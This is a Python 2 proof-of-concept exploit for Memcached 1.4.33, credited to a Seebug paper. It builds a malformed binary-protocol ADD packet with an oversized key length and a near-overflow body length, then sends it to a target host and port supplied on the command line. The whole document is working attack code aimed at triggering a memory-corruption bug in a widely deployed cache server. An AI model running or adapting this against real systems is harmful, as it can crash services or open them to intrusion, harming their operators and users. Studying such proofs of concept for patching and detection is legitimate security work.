Memcached 1.4.33 - PoC (2)

# Source: http://paper.seebug.org/95/

 

import struct 

import socket 

import sys

 

 

MEMCACHED_REQUEST_MAGIC = "\x80" 

OPCODE_ADD = "\x02" 

key_len = struct.pack("!H",0xfa) 

extra_len = "\x08" 

data_type = "\x00" 

vbucket = "\x00\x00" 

body_len = struct.pack("!I",0xffffffd0) 

opaque = struct.pack("!I",0) 

CAS = struct.pack("!Q",0) 

extras_flags = 0xdeadbeef 

extras_expiry = struct.pack("!I",0xe10) 

body = "A"*1024

 

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len 

packet += data_type + vbucket + body_len + opaque + CAS 

packet += body 

if len(sys.argv) != 3: 

        print "./poc_add.py <server> <port>"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

s.connect((sys.argv[1],int(sys.argv[2]))) 

s.sendall(packet) 

print s.recv(1024) 

s.close()